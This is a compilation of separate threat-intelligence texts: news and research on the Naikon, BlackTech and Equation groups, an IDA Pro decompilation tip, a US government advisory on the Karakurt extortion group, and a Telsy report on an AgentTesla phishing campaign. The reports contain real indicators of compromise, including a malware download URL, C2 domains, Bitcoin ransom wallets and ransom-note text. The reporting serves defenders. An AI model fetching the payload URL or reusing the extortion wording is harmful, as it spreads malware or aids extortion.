The same execution technique along with the use of rdmin.src are employed by China-linked Cycldek (Goblin Panda, Conimes) for the deployment of the FoundCore RAT. Furthermore, the shellcode used for payload extraction and other payload characteristics suggest a close connection between the two malware families and a possible overlap in activity between the two groups.
The similarities are not surprising, considering that Chinese threat actors are known to be sharing infrastructure and tools, and because Naikon was previously observed using exploits attributed to other threat groups, in an attempt to evade detection. As part of the latest attacks, the adversary also deployed a second new backdoor called Nebulae, likely as a precautionary measure.
Attempting to impersonate a legitimate application, the Nebulae backdoor can harvest drive information, list and modify files and directories, execute and terminate processes, and download and run files from the command and control (C&C) server. “The data we obtained so far tell almost nothing about the role of the Nebulae in this operation, but the presence of a persistence mechanism could mean that it is used as a backup access point to victims in the case of a negative scenario for actors,” Bitdefender notes.
Furthermore, admin domain credentials were used for lateral movement, likely after being stolen at an early stage of the attack. Persistence was typically achieved manually, while data of interest was exfiltrated to Dropbox. “Our research confidently points to an operation conducted by the Naikon group based on the extraction of the C&C addresses from Nebulae samples. The particular domain dns.seekvibega.com obtained from such a sample points out to the Naikon infrastructure,” Bitdefender concludes. |
# Analyzing an IDA Pro Anti-Decompilation Code
In this post, I'll analyze a piece of code that induces IDA Pro to decompile the assembly in a wrong way. I'll propose a fix, but I'm open to more elegant solutions :)
The function that we want to decompile has the following assembly code (I'm using IDA Pro v7.6):
```
.text:1001BC95 56 push esi
.text:1001BC96 FF 74 24 10 push [esp+4+arg_8]
.text:1001BC9A 8B 74 24 10 mov esi, [esp+8+arg_4]
.text:1001BC9E 56 push esi
.text:1001BC9F FF 74 24 10 push [esp+0Ch+arg_0]
.text:1001BCA3 52 push edx
.text:1001BCA4 51 push ecx
.text:1001BCA5 E8 57 20 FF FF call nullsub_1
.text:1001BCAA 8B 0A mov ecx, [edx]
.text:1001BCAC 83 C4 14 add esp, 14h
.text:1001BCB0 89 4E 0C mov [esi+0Ch], ecx
.text:1001BCB2 8B 42 04 mov eax, [edx+4]
.text:1001BCB5 03 C1 add eax, ecx
.text:1001BCB7 89 46 04 mov [esi+4], eax
.text:1001BCBA 5E pop esi
.text:1001BCBB C3 retn
```
The function uses two arguments with an unconventional calling convention. If we decompile the code, we obtain:
```c
int __cdecl sub_1001BC95(int a1, int a2)
{
int *v2; // edx
int v3; // ecx
int result; // eax
nullsub_1();
v3 = *v2;
*(a2 + 12) = *v2;
result = v3 + v2[1];
*(a2 + 4) = result;
return result;
}
```
In IDA Pro, the `v2` variable (corresponding to the line at address 0x1001BCAA) is colored in red, since its value might be undefined. Custom calling conventions might cause some problems to the decompilation process, but, in general, there exists an easy fix to it: it is enough to inform IDA Pro that the function uses a custom calling convention. By modifying the function, we can set the new type with the following definition:
```c
int __usercall sub_1001BC95@<eax>(PUCHAR arg0@<edx>, int garbage, PUCHAR arg1)
```
With this new definition, the decompiled code now looks like the following:
```c
int __usercall sub_1001BC95@<eax>(PUCHAR arg0@<edx>, int garbage, PUCHAR arg1)
{
int *v1; // edx
int v2; // ecx
int result; // eax
int v4; // [esp+Ch] [ebp+8h]
nullsub_1();
v2 = *v1;
*(v4 + 12) = *v1;
result = v2 + v1[1];
*(v4 + 4) = result;
return result;
}
```
We haven't made any progress at all. The only place where we haven't checked is the `nullsub_1` function; the problem must be in its call. If we analyze this function, we notice that it has an empty body, as shown below.
```
.text:1000DD01 C3 retn
```
Why is this function causing problems? The answer is in the software convention used by the compiler. During the compilation, the compiler considers some registers as volatile. This means that the value of these registers, after a function call, should not be considered preserved. Among the volatile registers, there is EDX, which is exactly one of the registers used to pass a function parameter in the custom calling convention. This code causes problems for the decompilation process that considers (correctly) the EDX register to have an undefined value after the function call.
I'm not aware of any particular IDA Pro command to inform the decompiler to not consider EDX as volatile, so the simpler solution that I found is to just remove the call instruction (I patched the bytes `E8 57 20 FF FF` with `90 90 90 90 90`). The result is a much cleaner decompiled code, as shown below.
```c
int __usercall sub_1001BC95@<eax>(PUCHAR arg0@<edx>, int garbage, PUCHAR arg1)
{
PUCHAR v3; // ecx
int result; // eax
v3 = *arg0;
*(arg1 + 3) = *arg0;
result = &arg0[1][v3];
*(arg1 + 1) = result;
return result;
}
```
Now we can proceed to further improve the decompilation code (we can clearly see the usage of a struct in the code) now that the decompiled code represents the real intent of the assembly code.
## Update
I received a message on Twitter and Reddit that suggests to have a look at the `__spoils` keyword mentioned in Igor’s tip of the week post. Its meaning is exactly what we need to solve the problem in a more elegant and generic way. It is enough to change the `nullsub_1` function definition by adding the `__spoils` keyword, as shown below:
```c
void __spoils<> nullsub_1(void)
```
The decompilation result of the function `sub_1001BC95` is the same as before with the exception that the call to the `nullsub_1` function is still there (it is not necessary to patch the bytes anymore). |
# So Long (Go)Daddy | Tracking BlackTech Infrastructure
**September 24, 2022**
## Summary
BlackTech has built a reputation relying on tech-themed domains and predictable registration patterns. Recent reporting linking malicious domains to the actor suggests these patterns may be fading, at least for the time being, signifying a departure from the previous infrastructure configuration.
## Items to Note
- Failure to redact email addresses within WHOIS records ([email protected], [email protected], [email protected], [email protected]) leads to dozens more domains likely linked to the actor(s).
- BlackTech prefers dynamic DNS services, with most of the domains’ registrars being GoDaddy, paired with domaincontrol.com name servers (NS).
- Domain naming conventions centered around technology/target (recent intrusion reporting shows this pattern may change).
## Background
BlackTech, a.k.a. Huapi, Temp.Overboard, Circuit Panda, Radio Panda, is a cyber espionage actor routinely associated but never publicly attributed to Chinese security services. Primary targets of the actor include the technology, financial, and government sectors in Taiwan, Hong Kong, Japan, and recently the U.S.
## Infrastructure New & Old
The data captured in this post uses multiple vendor reports and VirusTotal and RiskIQ to gather passive DNS data. One hundred thirty (130) domains linked to BlackTech were identified and added to a CSV file along with first-seen dates, registrant and registrar information, and name server information.
CSV files allow for identifying possible campaign time-lining and visualizing trends or patterns in BlackTech infrastructure tactics, techniques, and procedures (TTPs). Reusing domains and overlapping infrastructure across different intrusion sets have become a calling card for the actor(s).
The lone spike seen in 2013 is in large part due to the “Four-Element Sword Engagement.” Constituting nearly a third of the domains registered, GoDaddy and domaincontrol.com NS have provided defenders with clues to out related infrastructure before put in use.
As seen in the below scatter plot, PDR Ltd. and Vitalwerks Internet Solutions, LLC represent the majority of registrars linked to BlackTech recently. This activity consists of registrar changes in addition to name server information.
Previously, defenders may have enjoyed success querying for tech-themed dynamic DNS domains registered to GoDaddy with domaincontrol NS. While small wins in the above hunting category may prove fruitful, updated infrastructure configurations should be considered and watched closely.
Stepping back to look at the above data, three assumptions arise:
- The change in infrastructure is only temporary, and a return to normal patterns will return.
- The above behavior indicates a group that has had infrastructure burned by security vendors and researchers on social media.
- BlackTech campaigns call for different hosting configurations, explaining the change.
Unfortunately, when it comes to the inner workings of not only BlackTech but many APT groups, few defenders have inside knowledge of day-to-day operations. Only continued analysis with multiple colored Excel spreadsheets to track changes will inch Blue Teamers closer to understanding one of the above assumptions.
## Conclusion
While these configuration changes may not represent breaking news, identifying adversary infrastructure before malicious activity ensues is very important for defenders. Like puzzle pieces, registrant names and name servers alone may not provide a pretty picture, but when paired with consistent naming themes and other registration information, a clearer picture of an adversary emerges. |
# Karakurt Data Extortion Group
## Summary
Actions to take today to mitigate cyber threats from ransomware:
- Prioritize patching known exploited vulnerabilities.
- Train users to recognize and report phishing attempts.
- Enforce multifactor authentication.
The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Department of the Treasury, and the Financial Crimes Enforcement Network (FinCEN) are releasing this joint Cybersecurity Advisory (CSA) to provide information on the Karakurt data extortion group, also known as the Karakurt Team and Karakurt Lair. Karakurt actors have employed a variety of tactics, techniques, and procedures (TTPs), creating significant challenges for defense and mitigation. Karakurt victims have not reported encryption of compromised machines or files; rather, Karakurt actors have claimed to steal data and threatened to auction it off or release it to the public unless they receive payment of the demanded ransom. Known ransom demands have ranged from $25,000 to $13,000,000 in Bitcoin, with payment deadlines typically set to expire within a week of first contact with the victim.
Karakurt actors have typically provided screenshots or copies of stolen file directories as proof of stolen data. They have contacted victims’ employees, business partners, and clients with harassing emails and phone calls to pressure the victims to cooperate. The emails have contained examples of stolen data, such as social security numbers, payment accounts, private company emails, and sensitive business data belonging to employees or clients. Upon payment of ransoms, Karakurt actors have provided some form of proof of deletion of files and, occasionally, a brief statement explaining how the initial intrusion occurred.
Prior to January 5, 2022, Karakurt operated a leaks and auction website. The domain and IP address originally hosting the website went offline in the spring of 2022. The website is no longer accessible on the open internet but has been reported to be located elsewhere in the deep web and on the dark web. As of May 2022, the website contained several terabytes of data purported to belong to victims across North America and Europe, along with several “press releases” naming victims who had not paid or cooperated, and instructions for participating in victim data “auctions.”
## Technical Details
### Initial Intrusion
Karakurt does not appear to target any specific sectors, industries, or types of victims. During reconnaissance, Karakurt actors appear to obtain access to victim devices primarily:
- By purchasing stolen login credentials;
- Via cooperating partners in the cybercrime community, who provide Karakurt access to already compromised victims; or
- Through buying access to already compromised victims via third-party intrusion broker networks.
Common intrusion vulnerabilities exploited for initial access in Karakurt events include the following:
- Outdated SonicWall SSL VPN appliances are vulnerable to multiple recent CVEs.
- Log4j “Log4Shell” Apache Logging Services vulnerability (CVE-2021-44228).
- Phishing and spearphishing.
- Malicious macros within email attachments.
- Stolen virtual private network (VPN) or Remote Desktop Protocol (RDP) credentials.
- Outdated Fortinet FortiGate SSL VPN appliances/firewall appliances are vulnerable to multiple recent CVEs.
- Outdated and/or unserviceable Microsoft Windows Server instances.
### Network Reconnaissance, Enumeration, Persistence, and Exfiltration
Upon developing or obtaining access to a compromised system, Karakurt actors deploy Cobalt Strike beacons to enumerate a network, install Mimikatz to pull plain-text credentials, use AnyDesk to obtain persistent remote control, and utilize additional situation-dependent tools to elevate privileges and move laterally within a network. Karakurt actors then compress (typically with 7zip) and exfiltrate large sums of data—and, in many cases, entire network-connected shared drives in volumes exceeding 1 terabyte (TB)—using open source applications and File Transfer Protocol (FTP) services, such as Filezilla, and cloud storage services including rclone and Mega.nz.
### Extortion
Following the exfiltration of data, Karakurt actors present the victim with ransom notes by way of “readme.txt” files, via emails sent to victim employees over the compromised email networks, and emails sent to victim employees from external email accounts. The ransom notes reveal the victim has been hacked by the “Karakurt Team” and threaten public release or auction of the stolen data. The instructions include a link to a TOR URL with an access code. Visiting the URL and inputting the access code opens a chat application over which victims can negotiate with Karakurt actors to have their data deleted.
Karakurt victims have reported extensive harassment campaigns by Karakurt actors in which employees, business partners, and clients receive numerous emails and phone calls warning the recipients to encourage the victims to negotiate with the actors to prevent the dissemination of victim data. These communications often included samples of stolen data—primarily personally identifiable information (PII), such as employment records, health records, and financial business records.
Victims who negotiate with Karakurt actors receive a “proof of life,” such as screenshots showing file trees of allegedly stolen data or, in some cases, actual copies of stolen files. Upon reaching an agreement on the price of the stolen data with the victims, Karakurt actors provide a Bitcoin address—usually a new, previously unused address—to which ransom payments could be made. Upon receiving the ransom, Karakurt actors provide some form of alleged proof of deletion of the stolen files, such as a screen recording of the files being deleted, a deletion log, or credentials for a victim to log into a storage server and delete the files themselves.
Although Karakurt’s primary extortion leverage is a promise to delete stolen data and keep the incident confidential, some victims reported Karakurt actors did not maintain the confidentiality of victim information after a ransom was paid. The U.S. government strongly discourages the payment of any ransom to Karakurt threat actors, or any cyber criminals promising to delete stolen files in exchange for payments.
In some cases, Karakurt actors have conducted extortion against victims previously attacked by other ransomware variants. In such cases, Karakurt actors likely purchased or otherwise obtained previously stolen data. Karakurt actors have also targeted victims at the same time these victims were under attack by other ransomware actors. In such cases, victims received ransom notes from multiple ransomware variants simultaneously, suggesting Karakurt actors purchased access to a compromised system that was also sold to another ransomware actor.
Karakurt actors have also exaggerated the degree to which a victim had been compromised and the value of data stolen. For example, in some instances, Karakurt actors claimed to steal volumes of data far beyond the storage capacity of compromised systems or claimed to steal data that did not belong to the victim.
### Indicators of Compromise
**Email**
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
Protonmail email accounts in the following formats:
- [email protected]
- [email protected]
- [email protected]
**Tools**
- Onion site: omx5iqrdbsoitf3q4xexrqw5r5tfw7vp3vl3li3lfo7saabxazshnead.onion
- Tools: Rclone.exe, AnyDesk.exe, Mimikatz
- Ngrok: SSH tunnel application SHA256 - 3e625e20d7f00b6d5121bb0a71cfa61f92d658bcd61af2cf5397e0ae28f4ba56
- DLLs: Mscxxx.dll: SHA1 - c33129a680e907e5f49bcbab4227c0b02e191770
- masquerading: Msuxxx.dll: SHA1 - 030394b7a2642fe962a7705dcc832d2c08d006f5 as legitimate Microsoft binaries to System32
- Msxsl.exe: Legitimate Microsoft Command Line XSL Transformation Utility SHA1 - 8B516E7BE14172E49085C4234C9A53C6EB490A45
- dllhosts.exe: Rclone SHA1 - fdb92fac37232790839163a3cae5f37372db7235
- rclone.conf: Rclone configuration file
- filter.txt: Rclone file extension filter file
- c.bat: UNKNOWN
- 3.bat: UNKNOWN
### Ransom Note Text Samples
- Here's the deal: We breached your internal network and took control over all of your systems.
- We analyzed and located each piece of more-or-less important files while spending weeks inside.
- We exfiltrated anything we wanted (xxx GB including Private & Confidential information, Intellectual Property, Customer Information, and most important Your TRADE SECRETS).
**Payment Wallets:**
- bc1qfp3ym02dx7m94td4rdaxy08cwyhdamefwqk9hp
- bc1qw77uss7stz7y7kkzz7qz9gt7xk7tfet8k30xax
- bc1q8ff3lrudpdkuvm3ehq6e27nczm393q9f4ydlgt
- bc1qenjstexazw07gugftfz76gh9r4zkhhvc9eeh47
- bc1qxfqe0l04cy4qgjx55j4qkkm937yh8sutwhlp4c
- bc1q3xgr4z53cdaeyn03luhen24xu556y5spvyspt8
### Mitre ATT&CK Techniques
Karakurt actors use the ATT&CK techniques listed in the table below.
| Technique Title | ID | Use |
|------------------|----|-----|
| Gather Victim Identify | T1589.001 | Karakurt actors have purchased stolen login credentials. |
| Gather Victim Identity | T1589.002 | Karakurt actors have purchased stolen login credentials including email addresses. |
| Gather Victim Org Information: Business Relationships | T1591.002 | Karakurt actors have leveraged victims' relationships with business partners. |
| Exploit Public-Facing Applications | T1190 | Karakurt actors have exploited the Log4j "Log4Shell" Apache Logging Service vulnerability and vulnerabilities in outdated firewall appliances for gaining access to victims' networks. |
| External Remote Services | T1133 | Karakurt actors have exploited vulnerabilities in outdated VPN appliances for gaining access to victims' networks. |
| Phishing | T1566 | Karakurt actors have used phishing and spearphishing to obtain access to victims' networks. |
| Phishing – Spearphishing Attachment | T1566.001 | Karakurt actors have sent malicious macros as email attachments to gain initial access. |
| Valid Accounts | T1078 | Karakurt actors have purchased stolen credentials, including VPN and RDP credentials, to gain access to victims' networks. |
| File and Directory Discovery | T1083 | Karakurt actors have deployed Cobalt Strike beacons to enumerate a network. |
| Remote Access Software | T1219 | Karakurt actors have used AnyDesk to obtain persistent remote control of victims' systems. |
| Exfiltration Over Alternative Protocol | T1048 | Karakurt actors have used FTP services, including Filezilla, to exfiltrate data from victims' networks. |
| Exfiltration Over Web Service: Exfiltration to Cloud Storage | T1567.002 | Karakurt actors have used rclone and Mega.nz to exfiltrate data stolen from victims' networks. |
### Mitigations
- Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location.
- Implement network segmentation and maintain offline backups of data to ensure limited interruption to the organization.
- Regularly back up data and password protect backup copies offline. Ensure copies of critical data are not accessible for modification or deletion from the system where the data resides.
- Install and regularly update antivirus software on all hosts and enable real-time detection.
- Install updates/patch operating systems, software, and firmware as soon as updates/patches are released.
- Review domain controllers, servers, workstations, and active directories for new or unrecognized accounts.
- Audit user accounts with administrative privileges and configure access controls with least privilege in mind. Do not give all users administrative privileges.
- Disable unused ports.
- Consider adding an email banner to emails received from outside your organization.
- Disable hyperlinks in received emails.
- Enforce multi-factor authentication.
- Use National Institute for Standards and Technology (NIST) standards for developing and managing password policies.
- Use longer passwords consisting of at least 8 characters and no more than 64 characters in length.
- Store passwords in hashed format using industry-recognized password managers.
- Add password user “salts” to shared login credentials.
- Avoid reusing passwords.
- Implement multiple failed login attempt account lockouts.
- Disable password “hints”.
- Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
- Require administrator credentials to install software.
- Only use secure networks and avoid using public Wi-Fi networks. Consider installing and using a VPN.
- Focus on cyber security awareness and training. Regularly provide users with training on information security principles and techniques as well as overall emerging cybersecurity risks and vulnerabilities (i.e., ransomware and phishing scams). |
# How “omnipotent” hackers tied to NSA hid for 14 years—and were found at last
Dan Goodin
CANCUN, Mexico — In 2009, one or more prestigious researchers received a CD by mail that contained pictures and other materials from a recent scientific conference they attended in Houston. The scientists didn't know it then, but the disc also delivered a malicious payload developed by a highly advanced hacking operation that had been active since at least 2001. The CD, it seems, was tampered with on its way through the mail.
It wasn't the first time the operators—dubbed the "Equation Group" by researchers from Moscow-based Kaspersky Lab—had secretly intercepted a package in transit, booby-trapped its contents, and sent it to its intended destination. In 2002 or 2003, Equation Group members did something similar with an Oracle database installation CD in order to infect a different target with malware from the group's extensive library. Kaspersky settled on the name Equation Group because of members' strong affinity for encryption algorithms, advanced obfuscation methods, and sophisticated techniques.
Kaspersky researchers have documented 500 infections by Equation Group in at least 42 countries, with Iran, Russia, Pakistan, Afghanistan, India, Syria, and Mali topping the list. Because of a self-destruct mechanism built into the malware, the researchers suspect that this is just a tiny percentage of the total; the actual number of victims likely reaches into the tens of thousands.
A long list of almost superhuman technical feats illustrate Equation Group's extraordinary skill, painstaking work, and unlimited resources. They include:
- The use of virtual file systems, a feature also found in the highly sophisticated Regin malware. Recently published documents provided by Ed Snowden indicate that the NSA used Regin to infect the partly state-owned Belgian firm Belgacom.
- The stashing of malicious files in multiple branches of an infected computer's registry. By encrypting all malicious files and storing them in multiple branches of a computer's Windows registry, the infection was impossible to detect using antivirus software.
- Redirects that sent iPhone users to unique exploit Web pages. In addition, infected machines reporting to Equation Group command servers identified themselves as Macs, an indication that the group successfully compromised both iOS and OS X devices.
- The use of more than 300 Internet domains and 100 servers to host a sprawling command and control infrastructure.
- USB stick-based reconnaissance malware to map air-gapped networks, which are so sensitive that they aren't connected to the Internet. Both Stuxnet and the related Flame malware platform also had the ability to bridge airgaps.
- An unusual if not truly novel way of bypassing code-signing restrictions in modern versions of Windows, which require that all third-party software interfacing with the operating system kernel be digitally signed by a recognized certificate authority. To circumvent this restriction, Equation Group malware exploited a known vulnerability in an already signed driver for CloneCD to achieve kernel-level code execution.
Taken together, the accomplishments led Kaspersky researchers to conclude that Equation Group is probably the most sophisticated computer attack group in the world, with technical skill and resources that rival the groups that developed Stuxnet and the Flame espionage malware.
"It seems to me Equation Group are the ones with the coolest toys," Costin Raiu, director of Kaspersky Lab's global research and analysis team, told Ars. "Every now and then they share them with the Stuxnet group and the Flame group, but they are originally available only to the Equation Group people. Equation Group are definitely the masters, and they are giving the others, maybe, bread crumbs. From time to time they are giving them some goodies to integrate into Stuxnet and Flame."
In an exhaustive report published Monday at the Kaspersky Security Analyst Summit here, researchers stopped short of saying Equation Group was the handiwork of the NSA—but they provided detailed evidence that strongly implicates the US spy agency.
First is the group's known aptitude for conducting interdictions, such as installing covert implant firmware in a Cisco Systems router as it moved through the mail.
Second, a highly advanced keylogger in the Equation Group library refers to itself as "Grok" in its source code. The reference seems eerily similar to a line published last March in an Intercept article headlined "How the NSA Plans to Infect 'Millions' of Computers with Malware." The article, which was based on Snowden-leaked documents, discussed an NSA-developed keylogger called Grok.
Third, other Equation Group source code makes reference to "STRAITACID" and "STRAITSHOOTER." The code words bear a striking resemblance to "STRAITBIZARRE," one of the most advanced malware platforms used by the NSA's Tailored Access Operations unit. Besides sharing the unconventional spelling "strait," Snowden-leaked documents note that STRAITBIZARRE could be turned into a disposable "shooter." In addition, the codename FOXACID belonged to the same NSA malware framework as the Grok keylogger.
Apart from these shared code words, the Equation Group in 2008 used four zero-day vulnerabilities—including two that were later incorporated into Stuxnet.
The similarities don't stop there. Equation Group malware dubbed GrayFish encrypted its payload with a 1,000-iteration hash of the target machine's unique NTFS object ID. The technique makes it impossible for researchers to access the final payload without possessing the raw disk image for each individual infected machine. The technique closely resembles one used to conceal a potentially potent warhead in Gauss, a piece of highly advanced malware that shared strong technical similarities with both Stuxnet and Flame.
Beyond the technical similarities to the Stuxnet and Flame developers, Equation Group boasted the type of extraordinary engineering skill people have come to expect from a spy organization sponsored by the world's wealthiest nation. One of the Equation Group's malware platforms, for instance, rewrote the hard-drive firmware of infected computers—a never-before-seen engineering marvel that worked on 12 drive categories from manufacturers including Western Digital, Maxtor, Samsung, IBM, Micron, Toshiba, and Seagate.
The malicious firmware created a secret storage vault that survived military-grade disk wiping and reformatting, making sensitive data stolen from victims available even after reformatting the drive and reinstalling the operating system. The firmware also provided programming interfaces that other code in Equation Group's sprawling malware library could access. Once a hard drive was compromised, the infection was impossible to detect or remove.
While it's simple for end users to re-flash their hard drives using executable files provided by manufacturers, it's just about impossible for an outsider to reverse engineer a hard drive, read the existing firmware, and create malicious versions.
"This is an incredibly complicated thing that was achieved by these guys, and they didn't do it for one kind of hard drive brand," Raiu said. "It's very dangerous and bad because once a hard drive gets infected with this malicious payload it's impossible for anyone, especially an antivirus provider, to scan inside that hard drive firmware. It's simply not possible to do that." |
# Adversary Tracking Report
## When a false flag doesn’t work: Exploring the digital-crime underground at campaign preparation stage
**ATR:** 82599
**TLP:** WHITE
**December 03, 2020**
---
## Introduction
At the beginning of October 2020, we found a copy of a malicious document potentially attributed to an APT group known as APT34 / OilRig. The attribution, based on several elements found within the malicious document, was first reported by a security researcher through a social network.
The above-mentioned document, which also had a name potentially compatible with the interests and objectives pursued by the threat actor, can be uniquely identified by the following indicators:
| Type | Value |
|-----------|---------------------------------------------------------------------------------------------|
| SHA256 | 7007f35df3292a4ecd741839fc2dafde471538041e54cfc24207d9f49016dc77 |
| File Name | Azerbaijan-Turky Military Negotiation.doc |
According to the extracted evidence, the author “signed” this malicious document by leaving his/her username within the document metadata. This nickname was already widely known within the Cyber Threat Intelligence field because it was attributed to a member of the aforementioned threat group. Indeed, this nickname is Iamfarhadzadeh, linked to Mohammad Farhadzadeh, believed to be a member of the hacking unit identified by the community as APT34 / OilRig.
Considering this threat and proceeding further with our analysis, we extracted several pieces of evidence that highlighted a connection with a common cyber-crime adversary. In particular, the execution of the hidden macro permitted the download of a malicious executable identified as a variant of AgentTesla, which, to the best of our information, has no ties to the already reported threat actor.
These evidences led our research team to dig further to understand who was behind this campaign and why that nickname was left within the meta-content. Our first hypothesis was a deliberate attempt to deceive security researchers, pushing them to attribute the malicious campaign to a cyber-espionage operation by releasing a malicious document linked to a socio-political event.
---
## Insights
Our investigation covered a quite extended timeframe and permitted us to continuously monitor the attackers' activities and, with a wider point of view, what is lately happening within the cyber-crime panorama and how these cyber criminals act.
To clarify, we tracked and observed the use of tools to quickly create new phishing campaigns aimed at stealing data and information that could be sold on the dark market or used to directly cause economic loss to their victims.
In detail, the analyzed document contains a hidden macro that, through the subroutine auto_run, runs automatically the obfuscated VBA code downloading a malicious payload from the following URL:
| Type | Value |
|------|---------------------------------------------------------------------------------------------|
| URL | https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe |
This payload is later implanted within the victim’s temp folder. Following the same evidence about the encoded URL, as observed during the analysis, the extracted payload matched exactly with AgentTesla payloads. This means that once executed, the malware is able to record keystrokes, collect user clipboard data, take screenshots from the victim machine, and send all to the attacker command and control.
---
## Actor Profile
The analysis gave us the opportunity to establish an attacker “fingerprint,” to deeply track it, study all its actions, and learn about the tools and methods it used to start and deploy a new malware campaign and operations.
We identified infected victims and all information related to the attacker’s host. We found evidence that the actor was likely a member of a cyber-crime team with low knowledge about packers, evasion techniques, and malware in general. Furthermore, we observed that he repeatedly executed his own malicious payloads over his machines from which the campaigns are operated.
Among all data about the threat actor, we collected several IP addresses used by the attacker as bridges to pack malicious documents and spread phishing waves. All of these servers are reachable via RDP services.
A quite interesting part of our investigation involved evidence about Skype and ICQ accounts of the crew that are currently used for sharing and exchanging compromised assets and emails with other cyber-criminals.
It is interesting to note that during the preparation phases of the campaigns, the threat actor seemed to act by choosing potential targets based on very specific address lists, probably cataloged according to the sector of interest. For example, while preparing campaigns aimed at compromising entities operating in the Oil & Gas sector, the collected evidence suggests web browsing activity performed by the adversary towards websites dedicated to news about industrial groups operating in this sector.
One of these websites, which cybercriminals rely on to acquire information about the Oil & Gas industry, is ognnews.com.
In other cases, members of the crew search directly in dark web websites dedicated to the provision of phishing kits and lists of email addresses to be included among potential targets. We tracked at least eight different underground forums consulted by the group for purchasing compromised assets and obtaining tools to obfuscate malware. In particular, the threat actor seems to prefer buying and using a malware core referred to as OriginLogger. OriginLogger, in conjunction with the use of an online PE crypter called Cassandra, generates malicious payloads internally matching AgentTesla's signatures.
Furthermore, to have a clearer view about the spread of the threat, an ad-hoc signature has been internally created for the malware family in question, starting from the sample identified by the following hash:
| Type | Value |
|--------|---------------------------------------------------------------------------------------------|
| sha256 | cda07296d20a239bdb9cb5a2c9a814f69811bc85ced8bf32e998b906a413f416 |
This signature made it possible to obtain a good level of detection with a low false positive rate. As the image below reports, starting from the second week of October 2020, the group began to heavily spread “OriginLogger plus Cassandra” payloads, internally reaching a number of unique detections exceeding 500 hits from mid-October until dropping around only 10 by December 1, 2020 (this is probably a consequence of the increase in the global detection rates of the variants in question).
---
## Victimology
The threat actor targeted many entities and organizations across different industrialized countries, including Italy. The operations involved many individual users. We counted around at least 300 Italian email addresses as targets of phishing campaigns operated by this adversary from mid-October 2020. Among the most impacted sectors, we observed industry, manufacturing, transport, energy, and oil & gas.
According to the collected evidence, below are reported details about the countries where victims of these phishing campaigns are located:
---
## Attribution
Our internal Threat Intelligence Research Team links the threat actor in question with a criminally motivated organization operating from Nigeria. The techniques, tactics, and procedures observed overlap with a threat actor described in a research paper by NTT, dated October 2020.
In this paper, NTT researchers described malicious campaigns and BEC operations perpetrated by an actor operating from Nigeria, named OZIE Team. As many of the characteristics of the adversary we tracked overlap with what is reported in the aforementioned document, we assert, with a medium degree of confidence, that the threat actor in question is part of or is potentially close to the OZIE gang.
---
## Credits
Telsy internal research team has been supported by the collaboration of several independent security researchers during the acquisition and analysis phases of parts of the artifacts and evidence collected. Among these, we thank Vito Alfano (@vxsh4d0w) for his precious support and collaboration.
---
## Indicators of Compromise
| Type | Value |
|--------|---------------------------------------------------------------------------------------------|
| sha256 | d9335a58ec7d9016258640393f0cedf4a574ae6bf9e262772ac0b21be1b3f160 |
| sha256 | 25b747c5b79774e91f72f07b81819b9d1548d958247b81a72dca223cda2182b0 |
| sha256 | 168cddae42f300dbf9a398a79ed28f7d18d35791b02f13b14509e4a8c23b5a9b |
| sha256 | 907040c91f9b0dbe13ce4b1fc5b96774a578625a1b023684ef78d1c16b6e89ce |
| sha256 | 2fb00f8374b1b111ed9061a709b35c8cbfa8ad60bf27669c5a1a77385af514c1 |
| sha256 | ba27b84be509f5707480a79966f02ee8a976baac8e68793a8ce9cf35ed9be0fd |
| sha256 | 3943281b88b1c4d3afabc6f0db027b3933a0b3dcf22c13bd37103fa33d851d13 |
| sha256 | 7dd928a1dbfb9e75e2c8832736810e328b2f6e8203dbf19c35edbcebb22a108a |
| sha256 | cbccebda97f3a276ac939e5e1502630e4cf981eb9c16dd80dddc3b6517d4d272 |
| sha256 | 814c32d56b92bf4eca814173f27b46d0b9eb21cc76f356a17af01416f04bf691 |
| sha256 | 9d0872926896a0efc6f5e2dc9ac2c7c62d1c29837b238daab47515fcc43a8e51 |
| sha256 | ab84cfaadbedc68ed1a9bcdd5b43cc1f64ce4a60e14d0a8b7eaada88dc99f896 |
| sha256 | fca6883b6508568056870e73b092d979af35f79b0665ff62c078909187c87eee |
| sha256 | 02e069ca6d3d262d8e663981a1ace8aba1e44c1106e5c1f434b05e80f2eef19b |
| sha256 | 26345084cbd7f3571599ead41cde209b46e5a9633b4b6d0e4c5ba379d3ffa4b8 |
| sha256 | cda07296d20a239bdb9cb5a2c9a814f69811bc85ced8bf32e998b906a413f416 |
| sha256 | 15170d0dbe467efc4e38156ed4e03702ae19af44c100d7df7a75c6dbdb7ac587 |
| sha256 | 2d31a07b636024d8dbf8fc1533c7af7ee9720886995c001ba9a701f3a90f007c |
| sha256 | 7f7041f099dec8c842ac0225e505bbf51d0a4bf6f1440b5ec7b2d10ebd894d05 |
| sha256 | 36a03ce4571347cee90c03067e2bae39ad80d597c8b40c430b37e4d6be96210e |
| sha256 | 9e57f7e41d281935cc912f8d7066a6158071b1a79897455ce66cd17c5dd34f95 |
| hostname| mail.loanabank.com |
| hostname| mail.dledcardetails.pt |
| hostname| smtp.opw-global.com |
| hostname| mail.bestelectricpanels.com |
| domain | cannabispropertybrokers.com |
| domain | colchoeslowcost.pt |
| domain | poptateseatery.com |
| domain | opw-global.com |
| url | https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
| email | [email protected] |
---
## MITRE ATT&CK
| Technique | Tactic | Description |
|-------------|----------------------|-----------------------------------------------------------------------------------------------|
| T1566 | Initial Access | Threat actor uses phishing email with a malicious attachment to gain access to the internal network. |
| T1204 | Execution | Threat actor relies upon specific actions by a user in order to gain execution. |
